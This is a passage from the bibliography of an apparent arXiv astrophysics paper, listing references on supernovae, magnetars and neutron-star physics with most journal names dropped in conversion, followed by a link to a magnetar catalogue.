Nicholl, M., Smartt, S. J., Jerkstrand, A., et al. 2015, , 452, 3869
Olausen, S. A., & Kaspi, V. M. 2014, , 212, 6
Ostriker, J. P., & Gunn, J. E. 1971, , 164, L95
Pejcha, O., & Prieto, J. L. 2015, , 806, 225
Pons, J. A., Reddy, S., Prakash, M., Lattimer, J. M., & Miralles, J. A. 1999, , 513, 780
Popov, D. V. 1993, , 414, 712
Quimby, R. M., Kulkarni, S. R., Kasliwal, M. M., et al. 2011, , 474, 487
Roberts, L. F., Shen, G., Cirigliano, V., et al. 2012, Physical Review Letters, 108, 061103
Smartt, S. J. 2015, PASA, 32, e016
Sukhbold, T., & Woosley, S. E. 2014, , 783, 10
Sukhbold, T., Ertl, T., Woosley, S. E., Brown, J. M., & Janka, H.-T. 2016, , 821, 38
Suwa, Y., & Tominaga, N. 2015, , 451, 282
Taddia, F., Sollerman, J., Fremling, C., et al. 2016, , 588, A5
Tayar, J., & Pinsonneault, M. H. 2013, , 775, L1
Thompson, T. A., Chang, P., & Quataert, E. 2004, , 611, 380
Usov, V. V. 1992, , 357, 472
Uzdensky, D. A., & MacFadyen, A. I. 2006, , 647, 1192
Vigan[ò]{}, D., Rea, N., Pons, J. A., et al. 2013, , 434, 123
Vink, J., & Kuiper, L. 2006, , 370, L14
Weaver, T. A., Zimmerman, G. B., & Woosley, S. E. 1978, , 225,1021
Woosley, S. E. 2010, , 719, L204
Woosley, S. E., & Weaver, T. A. 1995, , 101, 181
[^1]: http://www.physics.mcgill.ca/$\sim$pulsar/magnetar/main.html
|
{
"pile_set_name": "ArXiv"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.